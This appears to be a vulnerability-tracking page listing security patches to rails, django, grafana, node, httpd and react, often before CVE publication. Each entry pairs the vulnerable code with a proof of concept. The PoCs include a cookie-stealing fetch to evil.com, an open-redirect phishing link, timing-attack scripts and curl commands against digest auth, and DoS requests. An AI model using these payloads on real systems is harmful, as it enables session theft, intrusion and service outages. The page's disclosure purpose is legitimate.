“Exposing patches before CVEs since 2025”
Saturday, June 27, 2026
May 20, 2026, 06:33 AM — rails/rails
Commit: 6ee1adf7d5e92457e99c44cf9851845664293a71
Author: Aaron Patterson
Before this patch, ActiveModel::Type::Integer would call `to_i` on arbitrarily long strings without any length restriction. Ruby's `to_i` on a very large string (e.g., 5 MB of digits) performs significant computational work proportional to the string length, allowing an attacker to send a large integer string in any parameter that gets cast to an integer (e.g., an ID or age field) to cause severe CPU exhaustion and denial of service. The patch limits the input to `_limit * 4` bytes before calling `to_i`.
def cast_value(value) value.to_i rescue nil end
# Attacker sends a POST/GET request with a very large integer string for any integer-typed parameter:
# e.g., POST /users with age=999999999999999999... (5 million '9' chars)
# In Rails app:
# User.create(age: '9' * 5_000_000)
# This causes Ruby to call ('9' * 5_000_000).to_i which walks the entire 5MB string,
# consuming significant CPU time. Repeated requests cause DoS.
# Benchmark: ('9' * 5_000_000).to_i takes ~100-500ms per call on typical hardware.
May 5, 2026, 12:34 PM — django/django
📈 Patch landed 5 hours 59 minutes before CVE published
Commit: c79bdfc1351ef2a2ad95df36241a74c736ef20a1
Author: Sarah Boyce
Django's UpdateCacheMiddleware erroneously cached responses where the Vary header contained an asterisk ('*'). Per RFC 7231, 'Vary: *' means the response is unique per request and must never be served from cache, as it may contain private/user-specific data. An attacker could potentially receive cached private data intended for another user if the server responded with Vary: * but Django still stored and served it from cache.
def process_response(self, request, response):
# (no check for Vary: * before caching)
# Page timeout takes precedence over the "max-age" and the default
# cache timeout.
timeout = self.page_timeout
# 1. A view sets 'Vary: *' to indicate the response is user-specific:
def private_view(request):
response = HttpResponse(f"Secret data for {request.user}")
response['Vary'] = '*'
return response
# 2. User A makes a request - response gets cached by UpdateCacheMiddleware
# GET /private/ (logged in as user_A) -> response cached with key based on URL
# 3. User B makes the same request - FetchFromCacheMiddleware serves cached response
# GET /private/ (logged in as user_B) -> receives 'Secret data for user_A'
# The Vary: * should have prevented caching, but Django cached it anyway
May 5, 2026, 12:34 PM — django/django
📈 Patch landed 5 hours 59 minutes before CVE published
Commit: 7f6e9b55130d5158804c0acbc0b24ccb7422ed82
Author: Jake Howard
When SESSION_SAVE_EVERY_REQUEST=True, Django's session middleware would set a session cookie on responses but failed to include 'Vary: Cookie' in the response headers when the session was not explicitly modified. This meant caching proxies could cache a response containing a Set-Cookie header with a specific session key, and serve that cached response (with that session cookie) to other users, allowing an attacker to steal or fixate another user's session. The patch ensures that whenever a session cookie is set in the response, the Vary: Cookie header is also added.
if (modified or settings.SESSION_SAVE_EVERY_REQUEST) and not empty:
...
response.set_cookie(
settings.SESSION_COOKIE_NAME,
... # Cookie set but Vary header NOT added here
1. Configure Django with SESSION_SAVE_EVERY_REQUEST=True and a caching proxy (e.g., Varnish/Nginx) in front. 2. Attacker visits a public page (e.g., GET /public/) - Django creates/renews a session cookie in the response but does NOT set 'Vary: Cookie', so the caching proxy caches the response including the Set-Cookie header with the attacker's session_key. 3. A legitimate user visits GET /public/ - the caching proxy returns the cached response, setting the attacker's session cookie on the victim's browser. 4. Both attacker and victim now share the same session_key, allowing the attacker to access any session data the victim subsequently stores (e.g., after login if session is reused).
May 5, 2026, 12:33 PM — django/django
📈 Patch landed 5 hours 59 minutes before CVE published
Commit: 5a89e341bfc77dd67b7fd57b7091b6430558e1f4
Author: Jacob Walls
In Django's ASGI deployments, the MemoryFileUploadHandler relied solely on the Content-Length header to determine whether a file upload should be stored in memory. Since ASGI doesn't guarantee that Content-Length accurately reflects the actual request body size (e.g., with chunked transfer encoding or a deliberately understated header), an attacker could send a multipart file upload with a small or missing Content-Length value but a very large body, bypassing FILE_UPLOAD_MAX_MEMORY_SIZE and forcing the server to load arbitrarily large files into memory. The patch fixes this by seeking to the end of the stream to measure the actual size when possible, falling back to Content-Length only for non-seekable streams.
self.activated = content_length <= settings.FILE_UPLOAD_MAX_MEMORY_SIZE
import asyncio
from asgiref.testing import ApplicationCommunicator
from django.core.asgi import get_asgi_application
# Send multipart upload with Content-Length: 9 but actual body is 10MB
boundary = b'testboundary'
file_content = b'x' * 10_000_000 # 10MB
body = (b'--' + boundary + b'\r\nContent-Disposition: form-data; name="file"; filename="big.bin"\r\nContent-Type: application/octet-stream\r\n\r\n' + file_content + b'\r\n--' + boundary + b'--\r\n')
scope = {
'type': 'http',
'method': 'POST',
'path': '/upload/',
'headers': [
(b'content-type', b'multipart/form-data; boundary=testboundary'),
(b'content-length', b'9'), # Deliberately understated
],
}
# With FILE_UPLOAD_MAX_MEMORY_SIZE=1000 and the old code:
# content_length=9 <= 1000, so handler.activated=True
# The entire 10MB file gets loaded into memory despite the limit
May 4, 2026, 04:12 PM — grafana/grafana
Commit: 0dacf3519331a1a7f1c3580cea58bc4cd1c76e55
Author: Matheus Macabu
Before the patch, any user or service account could modify the `ownerReferences` field of a SecureValue during an update operation. This allowed unprivileged users to convert a shared secure value (with an owner reference linking it to a data source or other resource) into an inline one or vice versa, potentially bypassing access control policies that depend on owner references to determine secret scope and access. The patch restricts `ownerReferences` mutations to only `AccessPolicy` identity types, preserving the existing references for all other callers.
// In Update(), before the patch, newSecureValue.OwnerReferences was passed through
// unchanged regardless of caller identity, allowing any user to set arbitrary owner references.
keeperCfg, err := s.keeperMetadataStorage.GetKeeperConfig(ctx, currentVersion.Namespace, currentVersion.Status.Keeper, contracts.ReadOpts{})
// A regular user or service account performs an update request:
// 1. Attacker has access to update a SecureValue 'my-secret' in namespace 'ns1'
// 2. The secret currently has ownerReferences=[] (inline secret, restricted access)
// 3. Attacker sends an update with ownerReferences=[{kind: DataSource, name: shared-ds}]
// transforming it into a shared secret accessible by the data source owner
// kubectl patch securevalue my-secret --type=merge -p '{"metadata":{"ownerReferences":[{"apiVersion":"v0alpha1","kind":"DataSource","name":"shared-ds","uid":"abc123"}]}}'
// Before patch: ownerReferences would be updated, changing secret ownership/access scope
// After patch: ownerReferences are silently preserved from the current stored value
Apr 30, 2026, 04:52 PM — nodejs/node
Commit: 80e0f14f8eaf4909e330900c3caebd3ddd3d210b
Author: Nicola Del Gobbo
Before the patch, calling `pathToFileURL()` with a UNC path containing a malformed hostname (e.g., one with a space) would cause a Node.js process crash via a failed `CHECK()` assertion. The `CHECK(out->set_hostname(...))` call aborts the process when `set_hostname()` returns false for invalid hostnames. The fix replaces the hard crash with a proper `ERR_INVALID_URL` exception.
CHECK(out->set_hostname(hostname.ToStringView()));
// Run in Node.js (any version before the patch):
const url = require('url');
url.pathToFileURL('\\\\exa mple\\share\\file.txt', { windows: true });
// Result: Process crashes with CHECK failure (abort) instead of throwing an error
// On Windows without the { windows: true } option, the same occurs naturally
Apr 28, 2026, 06:01 PM — grafana/grafana
Commit: 3727e122ed2d74b364562bd841db20611ce29ea0
Author: Ryan Melendez
The original `handleRedirectTo` function in `app.ts` consumed a stored redirect URL from sessionStorage after login without checking whether the URL belonged to the same origin. An attacker could craft a login URL containing `?redirectTo=https://evil.com/phishing` to store a cross-origin URL, which would then be passed directly to `locationService.replace()` after the user logged in, redirecting them to an attacker-controlled site. The patch adds an origin check using `new URL()` to ensure only same-origin redirects are followed via frontend navigation.
window.sessionStorage.removeItem(RedirectToUrlKey);
let decodedRedirectTo = decodeURIComponent(redirectTo);
if (decodedRedirectTo.startsWith('/goto/')) {
const urlToRedirectTo = locationUtil.assureBaseUrl(decodedRedirectTo);
window.location.replace(urlToRedirectTo);
return;
}
const stripped = locationUtil.stripBaseFromUrl(decodedRedirectTo);
locationService.replace(stripped);
1. Attacker sends victim a crafted link: https://grafana.example.com/login?redirectTo=https://evil.com/steal-credentials
2. Victim clicks the link; the login page stores `encodeURIComponent('https://evil.com/steal-credentials')` in sessionStorage under RedirectToUrlKey
3. Victim logs in successfully
4. `handleRedirectTo()` is called, decodes the stored value to `https://evil.com/steal-credentials`, which doesn't start with `/goto/`, so it calls `locationService.replace('https://evil.com/steal-credentials')`
5. Victim is redirected to the attacker's phishing site with their browser in an authenticated context
Apr 28, 2026, 05:44 PM — django/django
Commit: 5b3cfce51770f46c6dc100e9be7f199a37176762
Author: Artyom Kotovskiy
Before the patch, when a POST request was submitted to the Django admin changelist view with list_editable fields, the formset used for saving data was constructed directly with `FormSet(request.POST, request.FILES, queryset=modified_objects)` rather than going through `_get_formset_with_permissions()`. This meant the per-object permission check that removes editable fields for unauthorized objects was bypassed during form submission. An authenticated admin user with restricted per-object change permissions could modify objects they were not permitted to edit by crafting a POST request to the changelist view.
cl.formset = FormSet(request.POST, request.FILES, queryset=modified_objects)
# Setup: User has change permission only for objects where obj.alive=True (per PersonNoChangePermissionsAdmin9)
# per2 has alive=False, so user should NOT be able to edit it
# But before the patch, POST directly to changelist bypasses per-object permission:
import requests
data = {
'form-TOTAL_FORMS': '1',
'form-INITIAL_FORMS': '1',
'form-MAX_NUM_FORMS': '0',
'form-0-id': str(per2.pk), # per2 is not editable (alive=False)
'form-0-gender': '2', # attempt to change gender
'_save': 'Save',
}
response = requests.post('/admin9/admin_views/person/', data=data, cookies=session_cookie)
# Before patch: per2.gender is updated to 2 despite lacking permission
# After patch: per2.gender remains unchanged because _get_formset_with_permissions() strips fields for unauthorized objects
Apr 28, 2026, 04:49 PM — nodejs/node
Commit: 4247cd305b4f6d79912caaaf105faad324d3bc83
Author: semimikoh
Before the patch, `GetErrorSource()` in `node_errors.cc` could trigger a `CHECK_GE(end, start)` assertion failure (process crash) when V8 reported a negative or invalid `end` column for certain malformed JavaScript syntax (e.g., invalid `using` declarations). The patch removes the hard assertion and instead adds a guard so that the underflow arithmetic and out-of-bounds access are avoided, returning early if `end < script_start` or `end < 0`. This could be triggered by any user-supplied JavaScript evaluated by Node.js, causing a denial of service.
if (start >= script_start) {
CHECK_GE(end, start);
start -= script_start;
end -= script_start;
}
// Run with: node poc.js
// Node.js crashes with an assertion failure (CHECK_GE) before the patch
const { runInNewContext } = require('vm');
try {
runInNewContext('using');
} catch (e) {
// Without patch: process aborts due to CHECK_GE(end, start) failing
// With patch: SyntaxError is thrown and caught normally
console.log('Caught:', e.message);
}
Apr 27, 2026, 12:54 PM — apache/httpd
📈 Patch landed 7 days 2 hours 36 minutes before CVE published
Commit: 7f5de0aebf5c04796aa9c25153413b09d609763b
Author: Joe Orton
The code before the patch used non-constant-time comparison functions (apr_crypto_equals was already constant-time, but the local implementation in mod_session_crypto.c and the reliance on apr_crypto_equals without a guaranteed fallback) when comparing cryptographic digests in digest authentication and session crypto. A timing attack against the digest comparison in mod_auth_digest could allow an attacker to determine the correct digest byte-by-byte by measuring response times, potentially enabling authentication bypass. The patch replaces these comparisons with guaranteed constant-time functions.
if (!apr_crypto_equals(resp->digest, old_digest(r, resp), MD5_DIGEST_LEN)) {
// and
if (!apr_crypto_equals(resp->digest, exp_digest, MD5_DIGEST_LEN)) {
// and in mod_session_crypto.c:
if (!ap_crypto_equals(auth, decoded, AP_SIPHASH_DSIZE)) {
Timing attack against mod_auth_digest: Send repeated HTTP Digest Authentication requests with modified 'response' field values, measuring the time taken for the server to respond. By iterating over possible values for each byte of the MD5 digest and measuring which value causes a slightly longer response (due to non-constant-time comparison returning earlier on mismatch), an attacker can determine the correct digest one byte at a time without knowing the password. Example script concept:
for byte_pos in range(MD5_DIGEST_LEN):
for candidate in range(256):
crafted_digest = known_prefix + chr(candidate) + arbitrary_suffix
t = measure_response_time(send_digest_auth_request(crafted_digest))
if t > threshold:
known_prefix += chr(candidate) # found correct byte
break
# After completing all bytes, use the reconstructed digest to authenticate.
Apr 26, 2026, 04:30 PM — apache/httpd
📈 Patch landed 7 days 23 hours before CVE published
Commit: 38809faac18bfc8e610b4196c6dad6f481aa1376
Author: Eric Covener
The validate_status_line function in Apache httpd failed to check for newline characters and control characters in the status line reason phrase (the text after the 3-digit status code). An attacker who could influence the status line (e.g., via a proxied backend response or certain CGI/module interactions) could inject CRLF sequences to inject arbitrary HTTP response headers or split the response. The patch adds a call to ap_scan_http_field_content to reject any status line containing invalid characters.
if (len > 4 && *ap_scan_http_field_content(r->status_line + 4)) {
r->status_line = NULL;
return APR_EGENERAL;
}
return APR_SUCCESS;
A backend or CGI sets a custom status line like: 'HTTP/1.1 200 OK\r\nSet-Cookie: injected=value'. Before the patch, if r->status_line was set to '200 OK\r\nSet-Cookie: injected=value', the validate_status_line function would pass it through, and Apache would forward the injected header to the client. Exploit: configure a reverse proxy to a malicious backend that responds with status line containing CRLF: e.g., send response status '200 OK\r\nX-Injected: malicious' — Apache would relay the injected header to the downstream client.
Apr 26, 2026, 04:25 PM — apache/httpd
📈 Patch landed 7 days 23 hours 5 minutes before CVE published
Commit: cd414337011b47f43ede96ce1dd2bd9c869e031f
Author: Eric Covener
The code before the patch used strcmp() to compare digest authentication hashes, which is vulnerable to timing attacks. An attacker could measure response times to infer the correct digest value byte-by-byte. The patch replaces strcmp() with apr_crypto_equals(), which performs a constant-time comparison that prevents timing oracle attacks on the authentication mechanism.
if (strcmp(resp->digest, old_digest(r, resp))) {
...
}
if (strcmp(resp->digest, exp_digest)) {
...
}
if (strcmp(hash, resp->nonce+NONCE_TIME_LEN)) {
An attacker can exploit the timing difference in strcmp() to brute-force the digest response: 1. Send many Authorization: Digest requests with varying 'response' field values (hex strings) 2. Measure response times for each attempt 3. Since strcmp() returns as soon as a byte mismatch is found, a response that matches more prefix bytes takes slightly longer 4. For each position, try all 16 hex characters (0-9, a-f) and pick the one with the highest response time 5. Repeat for all 32 hex characters (MD5_DIGEST_LEN=32) to recover valid digest Example: Using timing measurements, attacker iterates: curl -H 'Authorization: Digest username="user", realm="realm", nonce="...", uri="/", response="0000..."' http://target/ curl -H 'Authorization: Digest username="user", realm="realm", nonce="...", uri="/", response="1000..."' http://target/ ... measure which prefix yields longer response time to determine correct bytes
Apr 26, 2026, 03:59 PM — apache/httpd
Commit: cfb8882f04b1c986656f6b19c487ab27810071b9
Author: Eric Covener
When Apache HTTP Server processed ap_expr expressions in .htaccess files (htaccess context), it used the full unrestricted expression parser instead of the restricted one. This allowed users with .htaccess write access to use dangerous ap_expr functions (such as %{req:...}, %{env:...}, file system functions, or other privileged lookups) that are normally restricted to server configuration. The patch adds AP_EXPR_FLAG_RESTRICTED when parsing expressions in htaccess context across mod_rewrite, mod_setenvif, and mod_proxy_fcgi.
newcond->expr = ap_expr_parse_cmd(cmd, a2, flags, &err, NULL); // and: new->expr = ap_expr_parse_cmd(cmd, expr, 0, &err, NULL); // and: new->cond = ap_expr_parse_cmd(cmd, arg1, 0, &err, NULL);
In a .htaccess file, an attacker with write access could use expressions that are supposed to be restricted to server-level config. For example:
# In .htaccess using RewriteCond with ap_expr:
RewriteCond expr "%{osenv:SECRET_ENV_VAR} -eq 1"
RewriteRule ^ /leaked [R]
# Or using SetEnvIfExpr to read sensitive data:
SetEnvIfExpr "osenv('SECRET_KEY') =~ /(.*)/ " leak=$1
The unrestricted parser allowed access to functions like osenv() which expose server-side environment variables and other sensitive data not intended to be accessible from .htaccess context.
Apr 26, 2026, 03:57 PM — apache/httpd
📈 Patch landed 9 days 8 hours 34 minutes before CVE published
Commit: 76dac5d445a36751f4b9f8c3abd8f10b07904528
Author: Eric Covener
The `ajp_msg_check_header` function checked if the AJP message body length (`msglen`) exceeded `msg->max_size`, but the buffer also includes `AJP_HEADER_LEN` bytes for the header itself. Since `msglen` refers only to the body/payload length, the actual data written would be `msglen + AJP_HEADER_LEN` bytes, potentially overflowing the allocated buffer if `msglen` is close to `max_size`. The fix corrects the comparison to `msg->max_size - AJP_HEADER_LEN` so that the total data (header + body) never exceeds the buffer capacity.
if (msglen > msg->max_size) {
ap_log_error(APLOG_MARK, APLOG_ERR, 0, NULL, APLOGNO(01081)
"ajp_msg_check_header() incoming message is "
"too big %" APR_SIZE_T_FMT ", max is %" APR_SIZE_T_FMT,
msglen, msg->max_size);
Send a crafted AJP message from the backend (Tomcat or malicious server) with the 2-byte length field in the AJP header set to (max_size - AJP_HEADER_LEN + 1), e.g., if max_size=8192 and AJP_HEADER_LEN=4, set msglen=8189 (0x1FFD). Before the patch, 8189 < 8192 passes the check, but reading 4 (header) + 8189 = 8193 bytes into the 8192-byte buffer causes a 1-byte heap overflow. A malicious AJP backend can craft: bytes [0x41, 0x42, 0x1F, 0xFD, ...8189 bytes of payload...] causing mod_proxy_ajp to overflow its message buffer.
Apr 26, 2026, 03:53 PM — apache/httpd
📈 Patch landed 7 days 23 hours 37 minutes before CVE published
Commit: 91d14cb926b1be8a53ebc334d6274027be99ac12
Author: Eric Covener
Before the patch, `ajp_parse_data` computed `expected_len = msg->len - (AJP_HEADER_LEN + AJP_HEADER_SZ_LEN + 1 + 1)` without first verifying that `msg->len` is large enough. If a malicious AJP backend sends a crafted message with `msg->len` smaller than the constant subtrahend (e.g., msg->len = 0 or very small), the subtraction wraps around to a large positive value (integer/size_t underflow). This incorrect `expected_len` is then compared against the caller-supplied `*len`, potentially allowing a malformed AJP DATA message to bypass length validation and cause subsequent out-of-bounds memory reads. The patch adds a guard that returns an error if the message is too small before performing the subtraction.
expected_len = msg->len - (AJP_HEADER_LEN + AJP_HEADER_SZ_LEN + 1 + 1);
if (*len != expected_len) {
A malicious or compromised AJP backend sends an AJP DATA packet with the packet body length field set to a value smaller than AJP_HEADER_LEN + AJP_HEADER_SZ_LEN + 2 (e.g., total msg->len = 2). The subtraction `2 - (4 + 2 + 1 + 1)` wraps to a large apr_size_t value (~0xFFFFFFF8 on 32-bit), causing `expected_len` to be enormous. If `*len` happens to match this wrapped value (or the check is bypassed), the code proceeds to read/copy data far beyond the actual message buffer boundary, resulting in an out-of-bounds read that could expose sensitive process memory or crash the proxy worker.
Apr 26, 2026, 03:50 PM — apache/httpd
📈 Patch landed 7 days 23 hours 40 minutes before CVE published
Commit: 250fa4a42f43a6ddf99861dfa910971eff69eced
Author: Eric Covener
The original check `size + start > msg->max_size` was incorrect in two ways: it compared against max_size (the allocated buffer capacity) rather than msg->len (the actual data length), and used strict greater-than rather than greater-than-or-equal. This allowed a malicious AJP backend to send a crafted AJP message where the string size field indicates more bytes than are actually present in the message, causing Apache httpd to read beyond valid message data. The patch corrects the bounds check to use msg->len and also verifies the required null terminator is present at the expected position.
if ((status != APR_SUCCESS) || (size + start > msg->max_size)) {
return ajp_log_overflow(msg, "ajp_msg_get_string");
}
Craft a malicious AJP response packet where the string length field is set to a value larger than the remaining bytes in the message but smaller than max_size (the full buffer allocation). For example, if msg->len=100 and msg->max_size=8192, send a string header with size=8000 and start=50: size+start=8050 which does NOT exceed max_size (8192) so the old check passes, but the code then reads 8000 bytes starting at position 50 even though only 50 bytes of valid data remain in the message, leaking heap memory contents beyond the AJP message boundary into parsed HTTP response headers.
Apr 26, 2026, 03:47 PM — apache/httpd
📈 Patch landed 7 days 23 hours 43 minutes before CVE published
Commit: 17e874e2781c1bbbeb2213bd580d371a1091085b
Author: Eric Covener
The AJP message parsing functions in Apache httpd used incorrect boundary checks (> instead of >=), allowing a read of exactly one byte beyond the valid message buffer. For example, ajp_msg_get_uint8 and ajp_msg_peek_uint8 used `msg->pos > msg->len` when they should use `>=`, meaning when pos == len (pointing just past the last byte) the check would pass and a byte at msg->buf\[msg->len\] would be read out of bounds. Similarly, ajp_msg_get_uint16/peek_uint16 allowed reading 2 bytes when only 1 remained, and ajp_msg_get_uint32 allowed reading 4 bytes when only 3 remained. A malicious AJP backend could craft a response that exploits this to cause an out-of-bounds read.
if (msg->pos > msg->len) {
return ajp_log_overflow(msg, "ajp_msg_get_uint8");
}
A malicious AJP backend sends a response message where the data payload is exactly N bytes, but the AJP response headers indicate there is one more field to read. When Apache httpd calls ajp_msg_get_uint8() with msg->pos == msg->len, the check `msg->pos > msg->len` evaluates to false (since they are equal), so the function proceeds to read msg->buf[msg->pos] which is one byte past the end of the valid message buffer, resulting in an out-of-bounds read. Concretely: craft an AJP SEND_HEADERS response with msg->len=10 and position the read cursor so pos=10, then the function reads buf[10] which is outside the allocated message data.
Apr 24, 2026, 03:12 PM — grafana/grafana
Patch landed 8 days 17 hours 42 minutes after CVE published
Commit: cb6656772084af7184a39f88d303d30136a9c3df
Author: Yuri Tseretyan
The UpdateAdminConfiguration function used xorm's fluent Where+Update(struct) pattern, but xorm resolves the target row by primary key when a struct is passed to Update(), silently ignoring the WHERE org_id clause. This caused all rows in the ngalert_configuration table to be updated when multiple organizations existed, allowing one org's configuration update to overwrite alert routing settings for all other orgs. The fix fetches the existing row first to get its primary key, then uses .ID() to scope the UPDATE to exactly that one record.
_, err = sess.Table("ngalert_configuration").Where("org_id = ?", cmd.AdminConfiguration.OrgID).Cols(
buildUpdateCols(cmd.AdminConfiguration)...,
).Update(cmd.AdminConfiguration)
Scenario: Two orgs (ID=1, ID=2) each have an ngalert_configuration row. Org 1 has SendAlertsTo=ExternalAlertmanagers, Org 2 has SendAlertsTo=ExternalAlertmanagers. Attacker (or any user with org-2 admin rights) calls UpdateAdminConfiguration for org 2 with SendAlertsTo=InternalAlertmanager. Before the patch, xorm ignores the WHERE org_id=2 clause and updates ALL rows by PK=0 (default), effectively updating every org's configuration to InternalAlertmanager. This means org 1's alert routing is silently changed without its admin's knowledge, potentially suppressing external alertmanager notifications for org 1.
Apr 23, 2026, 10:42 AM — nodejs/node
Commit: d44a71a25111dd0b73883fadb66cdef6b1414547
Author: Daijiro Wachi
The NO_PROXY environment variable's leading-dot suffix matching was too permissive: `NO_PROXY=.example.com` would match any hostname ending in `example.com`, including `notexample.com` or `badexample.com`. This means an attacker-controlled hostname like `evilexample.com` could bypass proxy restrictions that were intended only for subdomains of `example.com`. The fix ensures that the dot-separated boundary is properly checked by requiring either an exact match or that the character before the suffix starts with a dot.
if (entry[0] === '.') {
const suffix = entry.substring(1);
if (host.endsWith(suffix)) return false;
}
Set NO_PROXY=.example.com and HTTP_PROXY=http://proxy.internal:8080, then make a request to http://notexample.com/. Before the patch, `notexample.com`.endsWith(`example.com`) is true, so the proxy would be bypassed for `notexample.com`, which is not a subdomain of `example.com`. This allows requests to unintended hosts to skip proxy controls (e.g., security scanning proxies or traffic inspection proxies).
Apr 22, 2026, 04:52 PM — nodejs/node
Commit: c69c6f14f2b486b66293f01e0bc47ef95cbe52c0
Author: Anna Henningsen
Small typed arrays (e.g., Int8Array, Float32Array with few elements) in V8 may not have a backing store allocated until their corresponding ArrayBuffer is explicitly accessed. Before the patch, calling GetRawPointer with such a small TypedArray would return a pointer into arbitrary stack memory (the in-heap representation) rather than a valid heap buffer. An attacker could use this to leak stack memory addresses or read arbitrary stack data via the FFI interface.
} else if (args[0]->IsArrayBufferView()) {\n ArrayBufferViewContents<uint8_t> view(args[0]);\n if (view.WasDetached()) {\n ...\n }\n ptr = reinterpret_cast<uintptr_t>(view.data());
// Node.js FFI proof of concept - reading arbitrary stack memory\nconst { getRawPointer } = require('node:ffi'); // internal FFI binding\n// Create a small Int8Array - V8 may store it in-heap without a BackingStore\nconst small = new Int8Array(4); // Small enough for V8 in-heap optimization\n// Before patch: getRawPointer(small) returns a pointer to stack/heap memory\n// that is NOT the actual typed array backing store\nconst ptr = getRawPointer(small);\n// ptr now points to arbitrary stack memory; reading from ptr leaks stack data\n// This can be used to bypass heap-spray mitigations or leak return addresses
Apr 16, 2026, 07:49 AM — apache/httpd
Commit: d11e440c7eeca1ae06e34a912f48ee7f014f0501
Author: Joe Orton
Before the patch, functions like ap_escape_shell_cmd, ap_escape_path_segment, ap_os_escape_path, and ap_escape_urlencoded computed buffer sizes by multiplying strlen() by 2 or 3 without checking for integer overflow. On systems where apr_size_t is 64-bit but malloc/palloc internally uses size_t arithmetic, an extremely large string (e.g., ~(SIZE_MAX/3) bytes) could cause the multiplication to overflow, resulting in apr_palloc allocating a much smaller buffer than needed, leading to a heap buffer overflow when the escape functions write beyond the allocated buffer. The patch adds ap_assert checks to ensure the multiplication cannot overflow APR_SIZE_MAX before calling apr_palloc.
cmd = apr_palloc(p, 2 * strlen(str) + 1); /* Be safe */
Craft a request where the path or shell command argument has length approximately (APR_SIZE_MAX/3) + 1 bytes. For example, if APR_SIZE_MAX is 2^64-1, a string of length ~6148914691236517206 bytes causes `3 * strlen(segment)` to overflow to a small value (e.g., 2), so apr_palloc allocates only ~3 bytes, but ap_escape_path_segment_buffer then writes up to 3*len+1 bytes into it, causing a heap overflow. In practice on 32-bit systems where size_t is 32 bits, a string of ~715827883 bytes (feasible via large POST body or chunked transfer) causes `3 * strlen` to wrap to a small value, triggering a heap buffer overflow exploitable for memory corruption or potential RCE.
Mar 30, 2026, 05:04 PM — facebook/react
Commit: 2c2fd9d12c7159efef81e7ea6ec899943cf7ca33
Author: mofeiZ
The compiler playground parsed user-supplied config overrides using `new Function(...)`, which executes arbitrary JavaScript code in the browser context. An attacker could craft a malicious URL with a base64/encoded config payload containing arbitrary JS, which when shared and opened by a victim, would execute the attacker's code in the victim's browser. The patch replaces `new Function(...)` with JSON5 parsing, which only allows data literals and rejects executable code.
configOverrideOptions = new Function(`return (${configString})`)();
Craft a playground URL with a config store containing the following config string (which matches the expected format): `import type { PluginOptions } from 'babel-plugin-react-compiler/dist';
({
compilationMode: (fetch('https://evil.com?c='+document.cookie), 'all')
} satisfies PluginOptions);` — encode this as the store's config field using encodeStore(), then share the URL. When a victim opens the URL, `fetch('https://evil.com?c='+document.cookie)` executes, exfiltrating their cookies.
Mar 30, 2026, 11:40 AM — grafana/grafana
Patch landed 2 days 20 hours 9 minutes after CVE published
Commit: 9d2745f489300a943cd934cd9b8cec837e9f4027
Author: Mariell Hoversholm
The OFREP endpoint's `validateNamespace` function used `io.ReadAll(r.Body)` without any size limit, allowing an attacker to send arbitrarily large request bodies that would be fully read into memory. This could exhaust server memory and cause a denial of service. The fix applies `http.MaxBytesReader` to limit the body to 1 MiB before reading.
body, err := io.ReadAll(r.Body)
Send a POST request with a multi-gigabyte body to the OFREP endpoint: curl -X POST https://grafana-instance/apis/features.grafana.app/v0alpha1/namespaces/stacks-1/ofrep/v1/evaluate/flags/some-flag \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <valid-token>' \ --data-binary @/dev/urandom \ --max-time 60 The server would attempt to read the entire stream into memory via io.ReadAll, potentially exhausting available RAM and causing OOM or severe degradation.
Mar 29, 2026, 11:56 AM — nodejs/node
Commit: bdf75a6c4e107595868b798b696a96ffe2c8c0e6
Author: Mert Can Altin
When an ArrayBufferView backed by a zero-length ArrayBuffer (which has a null backing store data pointer) is passed to crypto functions like cipher.update(), the code unconditionally dereferenced the buffer's data pointer without checking for null. This caused a process crash (SIGSEGV/access violation). The patch adds a null check so that when buf_data is null, stack_storage_ is used as a fallback, preventing the crash.
data_ = static_cast<T*>(abv->Buffer()->Data()) + abv->ByteOffset();
const crypto = require('crypto');
const key = crypto.randomBytes(16);
const nonce = crypto.randomBytes(13);
const cipher = crypto.createCipheriv('aes-128-ccm', key, nonce, { authTagLength: 16 });
cipher.setAAD(Buffer.alloc(0), { plaintextLength: 0 });
// Passing a DataView over a zero-length ArrayBuffer causes null backing store dereference -> crash
cipher.update(new DataView(new ArrayBuffer(0)));
// Process crashes with SIGSEGV before the patch
Mar 27, 2026, 02:37 PM — grafana/grafana
Commit: 449a8a97531c48db067306858bc745b90150325e
Author: Kevin Minehart Tenorio
The fill resampling feature in Grafana's SQL datasources (MySQL, PostgreSQL, MSSQL) could be exploited to cause excessive memory allocation. By crafting a query with a very large time range and a very small fill interval (e.g., time range spanning years with millisecond intervals), an attacker could trigger `sqlutil.ResampleWideFrame` to allocate an enormous number of data points, exhausting server memory and causing a denial of service. The patch adds a guard that skips the fill operation if the number of fill points would exceed the configured row limit.
frame, err = sqlutil.ResampleWideFrame(frame, qm.FillMissing, alignedTimeRange, qm.Interval)
if err != nil {
logger.Error("Failed to resample dataframe", "err", err)
frame.AppendNotices(data.Notice{Text: "Failed to resample dataframe", Severity: data.NoticeSeverityWarning})
}
Send a Grafana dashboard query to a PostgreSQL/MySQL/MSSQL datasource with: timeRange.From = '2000-01-01T00:00:00Z', timeRange.To = '2030-01-01T00:00:00Z' (30-year range), fill interval = '1ms' (1 millisecond). The macro $__timeGroup(time_column, '1ms', 0) enables fill mode with a 1ms interval. numFillPoints = 30years / 1ms ≈ 9.46e11 points. ResampleWideFrame would attempt to allocate ~9.46 trillion data points, consuming terabytes of memory and crashing the Grafana server.